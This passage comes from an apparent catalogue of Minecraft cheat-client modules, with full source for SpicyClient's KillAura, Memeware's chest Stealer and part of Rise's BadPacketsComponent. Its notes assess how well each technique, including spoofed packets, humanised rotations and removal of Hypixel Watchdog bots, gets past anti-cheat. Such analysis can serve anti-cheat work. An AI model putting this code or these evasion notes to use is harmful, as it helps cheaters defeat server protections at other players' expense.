SpicyClient.config.sprint;\n\t\t\t\t\n\t\t\t\tif (mc.thePlayer.isDead && disableOnDeath.isEnabled()) {\n\t\t\t\t\t\n\t\t\t\t\ttoggled = false;\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\ttarget = null;\n\t\t\t\t\n\t\t\t\tEventMotion event = (EventMotion) e;\n\t\t\t\t\n\t\t\t\tList<EntityLivingBase> targets = (List<EntityLivingBase>) mc.theWorld.loadedEntityList.stream().filter(EntityLivingBase.class::isInstance).collect(Collectors.toList());\n\t\t\t\ttargets.sort(Comparator.comparingDouble(entity -> ((EntityLivingBase)entity).getDistanceToEntity(mc.thePlayer)));\n\t\t\t\t\n\t\t\t\tList<EntityLivingBase> targetsToRemove = (List<EntityLivingBase>) mc.theWorld.loadedEntityList.stream().filter(EntityLivingBase.class::isInstance).collect(Collectors.toList());\n\t\t\t\ttargetsToRemove.clear();\n\t\t\t\t\n\t\t\t\tif (dontHitDeadEntitys.enabled) {\n\t\t\t\t\ttargets = targets.stream().filter(entity -> entity.getDistanceToEntity(mc.thePlayer) < range.getValue() && entity != mc.thePlayer && !entity.isDead && entity.getHealth() > 0).collect(Collectors.toList());\n\t\t\t\t}else {\n\t\t\t\t\ttargets = targets.stream().filter(entity -> entity.getDistanceToEntity(mc.thePlayer) < range.getValue() && entity != mc.thePlayer && !entity.isDead).collect(Collectors.toList());\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif (targets.isEmpty()) {\n\t\t\t\t\t\n\t\t\t\t\thealthBar = new ScaledResolution(mc).getScaledWidth() / 2 - 41;\n\t\t\t\t\tstopBlocking();\n\t\t\t\t\tRenderUtils.resetPlayerYaw();\n\t\t\t\t\tRenderUtils.resetPlayerPitch();\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (!targets.isEmpty()) {\n\t\t\t\t\t\n\t\t\t\t\tfor (EntityLivingBase a : targets) {\n\t\t\t\t\t\tif (a.getDistanceToEntity(mc.thePlayer) > range.getValue()) {\n\t\t\t\t\t\t\ttargetsToRemove.add(a);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tint target_filter = targetsSetting.index;\n\t\t\t\t\t\n\t\t\t\t\tif (target_filter == 0) {\n\t\t\t\t\t\t// kill aura will only hit non invisible players\n\t\t\t\t\t\t//targets.stream().filter(EntityPlayer.class::isInstance).collect(Collectors.toList());\n\t\t\t\t\t\tfor (EntityLivingBase a : targets) {\n\t\t\t\t\t\t\tif (a instanceof EntityPlayer) {\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}else {\n\t\t\t\t\t\t\t\ttargetsToRemove.add(a);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse if (target_filter == 1) {\n\t\t\t\t\t\t// kill aura will only hit animals\n\t\t\t\t\t\t//targets.stream().filter(EntityAnimal.class::isInstance).collect(Collectors.toList());\n\t\t\t\t\t\tfor (EntityLivingBase a : targets) {\n\t\t\t\t\t\t\tif (a instanceof EntityAnimal) {\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}else {\n\t\t\t\t\t\t\t\ttargetsToRemove.add(a);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse if (target_filter == 2) {\n\t\t\t\t\t\t// kill aura will only hit mobs\n\t\t\t\t\t\t//targets.stream().filter(EntityMob.class::isInstance).collect(Collectors.toList());\n\t\t\t\t\t\tfor (EntityLivingBase a : targets) {\n\t\t\t\t\t\t\tif (a instanceof EntityMob) {\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}else {\n\t\t\t\t\t\t\t\ttargetsToRemove.add(a);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse if (target_filter == 3) {\n\t\t\t\t\t\t// kill aura will hit everything\n\t\t\t\t\t\t\n\t\t\t\t\t}else {\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\ttargets.removeAll(targetsToRemove);\n\t\t\t\t\t\n\t\t\t\t\tif (targets.isEmpty()) {\n\t\t\t\t\t\tRenderUtils.resetPlayerYaw();\n\t\t\t\t\t\tRenderUtils.resetPlayerPitch();\n\t\t\t\t\t\tstopBlocking();\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif (newAutoblock.getMode() != \"None\") {\n\t\t\t\t\t\t\n\t\t\t\t\t\tstartBlocking();\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\ttarget = targets.get(0);\n\t\t\t\t\t\n\t\t\t\t\tif (target instanceof EntityPlayer && SpicyClient.config.antibot.isEnabled() && !mc.isSingleplayer() && mc.getCurrentServerData().serverIP.toLowerCase().contains(\"hypixel\")) {\n\t\t\t\t\t\t\n\t                    try {\n\t                        if (mc.getNetHandler().getPlayerInfo(((EntityPlayer)target).getUniqueID()).responseTime > 1) {\n\t                        \tCommand.sendPrivateChatMessage(\"A watchdog bot was removed from your game\");\n\t                        \tmc.theWorld.removeEntity(target);\n\t                        \treturn;\n\t                        }\n\t\t\t\t\t\t} catch (NullPointerException e1) {\n\t\t\t\t\t\t\te1.printStackTrace();\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif (targetingMode.is(\"Switch\")) {\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (lastTarget != null && targets.contains(lastTarget)) {\n\t\t\t\t\t\t\ttarget = lastTarget;\n\t\t\t\t\t\t\tif (targetSwitchTimer.hasTimeElapsed((long) (switchTime.getValue()*1000), true)) {\n\t\t\t\t\t\t\t\ttarget = targets.get(0);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif (target != lastTarget) {\n\t\t\t\t\t\t/*\n\t\t\t\t\t\tCommand.sendPrivateChatMessage(\"F: \" + target.getDisplayName().getFormattedText());\n\t\t\t\t\t\tCommand.sendPrivateChatMessage(\"U: \" + target.getDisplayName().getUnformattedText());\n\t\t\t\t\t\tCommand.sendPrivateChatMessage(\"UC: \" + target.getDisplayName().getUnformattedTextForChat());\n\t\t\t\t\t\tCommand.sendPrivateChatMessage(\"C: \" + target.getCustomNameTag());\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (target instanceof EntityPlayer) {\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tCommand.sendPrivateChatMessage(\"Ping: \" + mc.getNetHandler().getPlayerInfo(((EntityPlayer)target).getUniqueID()).responseTime);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t*/\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// if (mc.netHandler.getPlayerInfo(entity.asEntityPlayer().uniqueID)?.responseTime == 0)\n\t                // return true\n\t\t\t\t\t\n\t\t\t\t\tlastTarget = target;\n\t\t\t\t\t\n\t\t\t\t\t// This mostly removes a bug which would cause you get get kicked for invalid player movement\n\t\t\t\t\tif (target.posX == mc.thePlayer.posX && target.posY == mc.thePlayer.posY && target.posZ == mc.thePlayer.posZ) {\n\t\t\t\t\t\t\n\t\t\t\t\t}else {\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (rotationSetting.is(\"lock\") || rotationSetting.getMode() == \"lock\") {\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t//event.setYaw(getRotations(target)[0]+10);\n\t\t\t\t\t\t\t//event.setPitch(RotationUtils.getRotations(target)[1]);\n\t\t\t\t\t\t\t\n                            float[] rotations = RotationUtils.getRotations(target);\n                            event.setYaw(rotations[0]);\n                            event.setYaw(rotations[0] - 2);\n                            \n                            if (event.pitch < -90) {\n                            \tevent.setPitch(-90);\n                            }\n                            \n                            \n                            upAndDownPitch += 2 + new Random().nextDouble();\n                            \n                            if (upAndDownPitch >= 20) {\n\t\t\t\t\t\t\t\tupAndDownPitch = 0;\n\t\t\t\t\t\t\t\tevent.setPitch(rotations[1] - upAndDownPitch);\n\t\t\t\t\t\t\t}\n                            else if (upAndDownPitch >= 10) {\n                            \tevent.setPitch(rotations[1] + 10 - (upAndDownPitch - 10));\n                            }\n                            else {\n                            \tevent.setPitch(rotations[1] - upAndDownPitch);\n                            }\n                            \n                            if (event.pitch < -90) {\n                            \tevent.setPitch(-90);\n                            }\n                            \n                            \n                            //Command.sendPrivateChatMessage(aacB);\n                            \n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (rotationSetting.is(\"smooth\") || rotationSetting.getMode() == \"smooth\") {\n\t\t\t\t\t\t\t\n                    \t\tupAndDownPitch/=2;\n                    \t\tcustomRots(event, target);\n                    \t\t\n\t\t\t\t\t\t\t/*\n\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\tgetSmoothRotations(event);\n\t\t\t\t\t\t\t} catch (NullPointerException e2) {\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tthis.lastSmoothPitch = event.getPitch();\n\t\t\t\t\t\t\t\tthis.lastSmoothYaw = event.getYaw();\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\tgetSmoothRotations(event);\n\t\t\t\t\t\t\t\t} catch (NullPointerException e3) {\n\t\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t*/\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t// Put client side rotation code here later\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tRandom random = new Random();\n\t\t\t\t\t\n\t\t\t\t\tstartBlocking();\n\t\t\t\t\t\n\t\t\t\t\tif (hitOnHurtTime.isEnabled()) {\n\t\t\t\t\t\tif (target.hurtTime > 2) {\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif (timer.hasTimeElapsed((long) (1000/(aps.getValue() + new Random().nextFloat())), true)) {\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (s.toggled) {\n\t\t\t\t\t\t\tmc.thePlayer.setSprinting(true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tstopBlocking();\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (noSwing.enabled) {\n\t\t\t\t\t\t\tmc.thePlayer.sendQueue.addToSendQueue(new C0APacketAnimation());\n\t\t\t\t\t\t}else {\n\t\t\t\t\t\t\tmc.thePlayer.swingItem();\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n                        mc.thePlayer.sendQueue.addToSendQueue(new C02PacketUseEntity(target, C02PacketUseEntity.Action.ATTACK));\n                        \n                        float sharpLevel = EnchantmentHelper.func_152377_a(mc.thePlayer.inventory.getCurrentItem(), target.getCreatureAttribute());\n                        if (sharpLevel > 0.0F) {\n                            mc.thePlayer.onEnchantmentCritical(target);\n                        }\n                        \n                        if (SpicyClient.config.criticals.isEnabled() && mc.thePlayer.onGround) {\n                        \t\n                        \tmc.thePlayer.onCriticalHit(target);\n                        \t\n                        }\n                        \n\t\t\t\t\t\tif (s.toggled) {\n\t\t\t\t\t\t\tmc.thePlayer.setSprinting(true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (newAutoblock.is(\"Hypixel\") && !blocking) {\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tblockHypixel(target);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t//startBlocking(true);\n\t\t\t\t\t\t\t//Random r = new Random();\n\t\t\t\t\t\t\t//mc.thePlayer.sendQueue.addToSendQueue(new C08PacketPlayerBlockPlacement(new BlockPos(-0.410153517, -0.4083644, -0.4186343), 255, mc.thePlayer.getHeldItem(), 0, 0, 0));\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t//if (dynamicAPSTimer.hasTimeElapsed(10000 + (new Random().nextInt(10) * 1000), true) && mc.getCurrentServerData().serverIP.toLowerCase().contains(\"hypixel\")) {\n\t\t\t\t\t\t\t//Command.sendPrivateChatMessage(\"Packet sent\");\n\t\t\t\t\t\t\t//mc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C05PacketPlayerLook(0, 0, MovementUtils.isOnGround(0.000001)));\n\t\t\t\t\t\t//}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}else {\n\t\t\t\t\t\n\t\t\t\t\thealthBar = new ScaledResolution(mc).getScaledWidth() / 2 - 41;\n\t\t\t\t\tstopBlocking();\n\t\t\t\t\tRenderUtils.resetPlayerYaw();\n\t\t\t\t\tRenderUtils.resetPlayerPitch();\n\t\t\t\t\t\n\t\t            return;\n\t\t            \n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t}\n\t\n\tprivate void blockHypixel(EntityLivingBase ent) {\n\t\t\n\t\tif (ent == null) {\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tsendUseItem(mc.thePlayer, mc.theWorld, mc.thePlayer.getCurrentEquippedItem());\n\t\t\n\t\tfloat[] rotations = RotationUtils.getRotations(target);\n\t\tmc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C02PacketUseEntity(ent, RotationUtils.getVectorForRotation(rotations[0], rotations[1])));\n\t\tmc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C02PacketUseEntity(ent, Action.INTERACT));\n\t\tmc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C08PacketPlayerBlockPlacement(new BlockPos(-1, -1, -1), 255, mc.thePlayer.getHeldItem(), 0, 0, 0));\n\t\t\n\t}\n\t\n    public boolean sendUseItem(EntityPlayer playerIn, World worldIn, ItemStack itemStackIn)\n    {\n        if (mc.playerController.currentGameType == WorldSettings.GameType.SPECTATOR)\n        {\n            return false;\n        }\n        else\n        {\n        \t\n        \tif (itemStackIn == null) {\n        \t\treturn false;\n        \t}\n        \t\n            mc.playerController.syncCurrentPlayItem();\n            int i = itemStackIn.stackSize;\n            ItemStack itemstack = itemStackIn.useItemRightClick(worldIn, playerIn);\n\n            if (itemstack != itemStackIn || itemstack != null && itemstack.stackSize != i)\n            {\n                playerIn.inventory.mainInventory[playerIn.inventory.currentItem] = itemstack;\n\n                if (itemstack.stackSize == 0)\n                {\n                    playerIn.inventory.mainInventory[playerIn.inventory.currentItem] = null;\n                }\n\n                return true;\n            }\n            else\n            {\n                return false;\n            }\n        }\n    }\n    \n\tprivate void stopBlocking() {\n\t\t\n\t\ttry {\n\t\t\tif (blocking && newAutoblock.is(\"Hypixel\") && mc.thePlayer.inventory.getCurrentItem().getItem() != null && mc.thePlayer.inventory.getCurrentItem().getItem() instanceof ItemSword) {\n\t        \t\n\t        \tmc.thePlayer.sendQueue.addToSendQueue(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, BlockPos.ORIGIN, EnumFacing.DOWN));\n\t            mc.gameSettings.keyBindUseItem.pressed = false;\n\t            \n\t        }\n\t\t} catch (NullPointerException e) {\n\t\t\tblocking = false;\n\t\t}\n        \n        blocking = false;\n        \n\t\treturn;\n\t\t\n\t}\n\t\n\tprivate int interactBlock = 0;\n\t\n\tprivate void startBlocking() {\n\t\t\n\t\tif(newAutoblock.getMode() == \"None\") {\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tif (blocking) {\n\t\t\tif ((mc.thePlayer.inventory.getCurrentItem() != null) && ((mc.thePlayer.inventory.getCurrentItem().getItem() instanceof ItemSword))) {\n\t\t\t\tsendUseItem(mc.thePlayer, mc.theWorld, mc.thePlayer.getCurrentEquippedItem());\n\t\t\t}\n\t\t\t\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tblocking = true;\n\t\t\n        if (newAutoblock.is(\"Hypixel\") && (mc.thePlayer.inventory.getCurrentItem() != null) && ((mc.thePlayer.inventory.getCurrentItem().getItem() instanceof ItemSword))) {\n        \t\n        \tblockHypixel(target);\n        \t\n        \t/*\n        \tif (target != null && interactAutoblock) {\n        \t\t//mc.thePlayer.sendQueue.addToSendQueue(new C02PacketUseEntity(target, new Vec3(randomNumber(-50, 50) / 100.0, randomNumber(0, 200) / 100.0, randomNumber(-50, 50) / 100.0)));\n        \t\tmc.thePlayer.sendQueue.addToSendQueue(new C02PacketUseEntity(target, C02PacketUseEntity.Action.INTERACT));\n        \t\tmc.thePlayer.sendQueue.addToSendQueue(new C02PacketUseEntity(target, C02PacketUseEntity.Action.INTERACT));\n        \t\tmc.thePlayer.sendQueue.addToSendQueue(new C02PacketUseEntity(target, C02PacketUseEntity.Action.INTERACT));\n        \t\tmc.thePlayer.sendQueue.addToSendQueue(new C02PacketUseEntity(target, C02PacketUseEntity.Action.INTERACT));\n        \t}\n        \t\n        \tmc.thePlayer.sendQueue.addToSendQueue(new C08PacketPlayerBlockPlacement(getHypixelBlockpos(mc.getSession().getUsername()), 255, mc.thePlayer.inventory.getCurrentItem(), 0.0f, 0.0f, 0.0f));\n        \t//mc.thePlayer.sendQueue.addToSendQueue(new C08PacketPlayerBlockPlacement(mc.thePlayer.inventory.getCurrentItem()));\n        \t\n        \tmc.thePlayer.setItemInUse(mc.thePlayer.getCurrentEquippedItem(), 10);\n        \t//mc.gameSettings.keyBindUseItem.pressed = true;\n        \t//mc.playerController.sendUseItem(mc.thePlayer, mc.theWorld, mc.thePlayer.getCurrentEquippedItem());\n            //mc.playerController.sendUseItem(mc.thePlayer, mc.theWorld, mc.thePlayer.inventory.getCurrentItem());\n             * \n             */\n        }\n        else if (newAutoblock.is(\"Vanilla\") && (mc.thePlayer.inventory.getCurrentItem() != null) && ((mc.thePlayer.inventory.getCurrentItem().getItem() instanceof ItemSword))) {\n            mc.playerController.sendUseItem(mc.thePlayer, mc.theWorld, mc.thePlayer.inventory.getCurrentItem());\n        }\n        \n\t}\n\t\n\t// I found these methods on github somewhere\n    public static int randomNumber(final int max, final int min) {\n        return Math.round(min + (float)Math.random() * (max - min));\n    }\n    \n    private int randomNumber() {\n        return -1 + (int) (Math.random() * ((1 - (-1)) + 1));\n    }\n    \n    public float[] getCustomRotsChange(float yaw, float pitch, double x, double y, double z){\n    \t\n        double xDiff = x - mc.thePlayer.posX;\n        double zDiff = z - mc.thePlayer.posZ;\n        double yDiff = y - mc.thePlayer.posY;\n        \n        double dist = MathHelper.sqrt_double(xDiff * xDiff + zDiff * zDiff);\n    \tdouble mult =  (1/(dist+0.0001)) * 2;\n    \tif(mult > 0.2)\n    \t\tmult = 0.2;\n    \tif(!mc.theWorld.getEntitiesWithinAABBExcludingEntity(mc.thePlayer, mc.thePlayer.boundingBox).contains(target)){\n        \tx += 0.3 * randoms[0];\n        \ty -= 0.4 + mult * randoms[1];\n        \tz += 0.3 * randoms[2];\n    \t}\n    \txDiff = x - mc.thePlayer.posX;\n        zDiff = z - mc.thePlayer.posZ;\n        yDiff = y - mc.thePlayer.posY;\n        float yawToEntity = (float) (Math.atan2(zDiff, xDiff) * 180.0D / 3.141592653589793D) - 90.0F;\n        float pitchToEntity = (float) -(Math.atan2(yDiff, dist) * 180.0D / 3.141592653589793D);\n        return new float[]{MathHelper.wrapAngleTo180_float(-(yaw- (float) yawToEntity)), -MathHelper.wrapAngleTo180_float(pitch - (float) pitchToEntity) - 2.5F};\n    }\n    \n    public void customRots(EventMotion em, EntityLivingBase ent) {\n    \t\n        if (target == null) {\n        \t\n        \tlastSmoothYaw = mc.thePlayer.rotationYaw;\n        \tlastSmoothPitch = mc.thePlayer.rotationPitch;\n        \t\n        \treturn;\n        \t\n        }\n        \n        float speed = 180;\n        \n        float sYaw = (float) updateRotation((float) lastSmoothYaw, (float) RotationUtils.getRotations(target)[0], speed);\n\t\tfloat sPitch = (float) updateRotation((float) lastSmoothPitch, (float) RotationUtils.getRotations(target)[1], speed);\n\t\t\n\t\t//Command.sendPrivateChatMessage(\"Old: \" + sYaw + \" : \" + sPitch);\n\t\t\n\t\t//double move = 5;\n\t\t//move = new Random().nextInt(3) + 1;\n\t\t\n\t\t//move += new Random().nextDouble();\n        //sYaw = (float) updateRotation((float) lastSmoothYaw, (float) RotationUtils.getRotations(target)[0], (float)((lastSmoothYaw - RotationUtils.getRotations(target)[0]) / move));\n\t\t//sPitch = (float) updateRotation((float) lastSmoothPitch, (float) RotationUtils.getRotations(target)[1], (float)((lastSmoothPitch - RotationUtils.getRotations(target)[1]) / move));\n\t\t\n\t\t//Command.sendPrivateChatMessage(\"New: \" + sYaw + \" : \" + sPitch);\n\t\t\n\t\tlastSmoothYaw = updateRotation(lastSmoothYaw, sYaw, 360);\n\t\t//lastSmoothYaw = sYaw;\n\t\tlastSmoothPitch = updateRotation(lastSmoothPitch, sPitch, 360);\n\t\t\n        if(lastSmoothPitch > 90) {\n        \tlastSmoothPitch = 90;\n        } else if (lastSmoothPitch < -90) {\n        \tlastSmoothPitch = -90;\n        }\n        \n        //Command.sendPrivateChatMessage(\"Done: \" + sYaw + \" : \" + sPitch);\n        //Command.sendPrivateChatMessage(\"Current: \" + sYaw + \" : \" + sPitch);\n        //Command.sendPrivateChatMessage(\"Intended: \" + RotationUtils.getRotations(target)[0] + \" : \" + RotationUtils.getRotations(target)[1]);\n        //Command.sendPrivateChatMessage(\" \");\n        \n        em.setYaw(lastSmoothYaw);\n        em.setPitch(lastSmoothPitch);\n        \n    }\n    \n\tpublic static float updateRotation(float current, float intended, float factor) {\n\t\tfloat var4 = MathHelper.wrapAngleTo180_float(intended - current);\n\n\t\tif (var4 > factor) {\n\t\t\tvar4 = factor;\n\t\t}\n\n\t\tif (var4 < -factor) {\n\t\t\tvar4 = -factor;\n\t\t}\n\n\t\treturn current + var4;\n\t}\n    \n}\n// NOTE (AI): Spicy shows the cleanest client/server swing split: noSwing mode pushes C0APacketAnimation so the server sees the swing while the local arm stays still. Rise 5.99's Aura instead sends C0A as an extra swing when the raytrace misses, and Rise 6.x KillAura only watches C0A on the send event to drive its swing state.",
      "code_source": "Spicy, info/spicyclient/modules/combat/Killaura.java",
      "vanilla_hook": "Attack timer in an update event; C0A is constructed directly, never via swingItem().",
      "anti_cheat_notes": "Swinging without a matching attack is legal (air swings), so the noSwing swap is low risk. The Rise 5.99 alwaysSwing variant adds swings at out-of-range targets, which inflates swing rate and can trip rate heuristics.",
      "variations": "Rise 5.99 implements it as Aura with an alwaysSwing setting. Rise 6.x KillAura consumes C0A as a state signal. Sigma's Killaura imports C0A but its corpus hit is import-only. Spicy's memes modules (CsgoSpinbot, YawAndPitchSpoof and friends) match C0A in packet events to replay or rotate around swings."
     },
     {
      "name": "Stealer",
      "found_in": [
       "Memeware 7.3",
       "Nekoware v1 private"
      ],
      "purpose": "Chest stealing. Sends C0A before the right-click that opens a nearby chest, mimicking an interaction swing.",
      "how_it_works": "Nearby mode scans a 3-block radius each delay tick; for every chest not yet emptied, PacketUtil.sendPacket(new C0APacketAnimation()) fires, then onPlayerRightClick opens it. Emptied positions are cleared on S08PacketPlayerPosLook and on enable.",
      "detailed_code": "// ===== FILE: Memeware 7.3, me/memewaredevs/client/module/player/Stealer.java =====\npackage me.memewaredevs.client.module.player;\n\nimport me.hippo.api.lwjeb.annotation.Handler;\nimport me.memewaredevs.client.event.events.PacketInEvent;\nimport me.memewaredevs.client.event.events.UpdateEvent;\nimport me.memewaredevs.client.module.Module;\nimport me.memewaredevs.client.util.packet.PacketUtil;\nimport me.memewaredevs.client.util.blocks.position.Vec3d;\nimport net.minecraft.block.Block;\nimport net.minecraft.block.BlockChest;\nimport net.minecraft.client.gui.inventory.GuiChest;\nimport net.minecraft.inventory.Container;\nimport net.minecraft.inventory.Slot;\nimport net.minecraft.network.play.client.C0APacketAnimation;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.function.Consumer;\n\nimport static org.lwjgl.input.Keyboard.KEY_K;\n\npublic class Stealer extends Module {\n    public Stealer() {\n        super(\"Stealer\", KEY_K, Category.PLAYER);\n        this.addModes(\"Normal\", \"Nearby\");\n        this.addBoolean(\"Close\", true);\n        this.addDouble(\"Delay\", 4, 0, 12);\n    }\n    private final List<BlockPos> emptiedChests = new ArrayList();\n\n    @Handler\n    public Consumer<UpdateEvent> eventConsumer0 = event -> {\n        if (mc.currentScreen instanceof GuiChest) {\n            if (!isEmpty(mc.thePlayer.openContainer)) {\n                for (Slot slot : (List<Slot>) mc.thePlayer.openContainer.inventorySlots) {\n                    if (slot != null && slot.getStack() != null && mc.thePlayer.ticksExisted % Math.round(this.getDouble(\"Delay\")) == 0) {\n                        mc.playerController.windowClick(mc.thePlayer.openContainer.windowId, slot.slotNumber, 0, 1, mc.thePlayer);\n                        return;\n                    }\n                }\n            } else {\n                if (this.getBool(\"Close\") || isMode(\"Nearby\")) {\n                    mc.displayGuiScreen(null);\n                }\n            }\n            return;\n        }\n        if (isMode(\"Nearby\")) {\n            int maxDist = 3;\n            if (mc.currentScreen == null) {\n                if (mc.thePlayer.ticksExisted % Math.round(this.getDouble(\"Delay\")) == 0) {\n                    for (int y = maxDist; y >= -maxDist; y--) {\n                        for (int x = -maxDist; x < maxDist; x++) {\n                            for (int z = -maxDist; z < maxDist; z++) {\n                                int posX = ((int) Math.floor(mc.thePlayer.posX) + x);\n                                int posY = ((int) Math.floor(mc.thePlayer.posY) + y);\n                                int posZ = ((int) Math.floor(mc.thePlayer.posZ) + z);\n                                if (mc.thePlayer.getDistanceSq(mc.thePlayer.posX + x, mc.thePlayer.posY + y, mc.thePlayer.posZ + z) <= 16.0) {\n                                    Block block = mc.theWorld.getBlockState(new BlockPos(posX, posY, posZ)).getBlock();\n                                    if (block instanceof BlockChest) {\n                                        BlockPos pos = new BlockPos(posX, posY, posZ);\n                                        if (!this.emptiedChests.contains(pos)) {\n                                            this.emptiedChests.add(pos);\n                                            PacketUtil.sendPacket(new C0APacketAnimation());\n                                            mc.playerController.onPlayerRightClick(mc.thePlayer, mc.theWorld, mc.thePlayer.getHeldItem(), new BlockPos(posX, posY, posZ), EnumFacing.DOWN, new Vec3d(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ));\n                                        }\n                                    }\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n        }\n    };\n\n    @Handler\n    public Consumer<PacketInEvent> eventConsumer1 = event -> {\n        if (event.getPacket() instanceof S08PacketPlayerPosLook && mc.getNetHandler() != null && mc.getNetHandler().doneLoadingTerrain) {\n            emptiedChests.clear();\n        }\n    };\n\n    @Override\n    public void onEnable() {\n        this.emptiedChests.clear();\n    }\n\n    public boolean isEmpty(final Container container) {\n        boolean isEmpty = true;\n        int maxSlot = (container.inventorySlots.size() == 90) ? 54 : 27;\n        for (int i = 0; i < maxSlot; ++i) {\n            if (container.getSlot(i).getHasStack()) {\n                isEmpty = false;\n            }\n        }\n        return isEmpty;\n    }\n\n}\n// NOTE (AI): The swing here is cosmetic: it precedes the open interaction so the server sees the full click sequence. Nekoware's Stealer duplicates the file.",
      "code_source": "Memeware 7.3, me/memewaredevs/client/module/player/Stealer.java",
      "vanilla_hook": "UpdateEvent; swing is sent via PacketUtil.sendPacket before onPlayerRightClick.",
      "anti_cheat_notes": "Invisible to anti-cheats; interaction order (swing then use) is exactly what a player produces.",
      "variations": "Nekoware v1 private ships the same module with the same C0A send."
     },
     {
      "name": "BadPacketsComponent",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "A shared state tracker, not a user module: flags swing=true on any outgoing C0A and resets all flags on the next C03PacketPlayer. Other modules call BadPacketsComponent.bad() to decide whether spoofed packets are safe to send.",
      "how_it_works": "PacketSendEvent at VERY_HIGH priority sets one boolean per packet family: slot (C09), swing (C0A), attack (C02), block (C08/C07), inventory (C0E/C16 OPEN_INVENTORY/C0D). C03PacketPlayer clears everything. Modules gate spoofed sends on bad() so they never fire mid-sequence.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/BadPacketsComponent.java =====\npackage com.alan.clients.component.impl.player;\n\nimport com.alan.clients.component.Component;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.Priorities;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\n\nimport static net.minecraft.network.play.client.C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT;\n\npublic final class BadPacketsComponent extends Component {\n\n    private static boolean slot, attack, swing, block, inventory;\n\n    public static boolean bad() {\n        return bad(true, true, true, true, true);\n    }\n\n    public static boolean bad(final boolean slot, final boolean attack, final boolean swing, final boolean block, final boolean inventory) {\n        return (BadPacketsComponent.slot && slot) ||\n                (BadPacketsComponent.attack && attack) ||\n                (BadPacketsComponent.swing && swing) ||\n                (BadPacketsComponent.block && block) ||\n                (BadPacketsComponent.inventory && inventory);\n    }\n\n    @EventLink(value = Priorities.VERY_HIGH)\n    public final Listener<PacketSendEvent> onPacketSend = event -> {\n        final Packet<?> packet = event.getPacket();\n\n        if (packet instanceof C09PacketHeldItemChange) {\n            slot = true;\n        } else if (packet 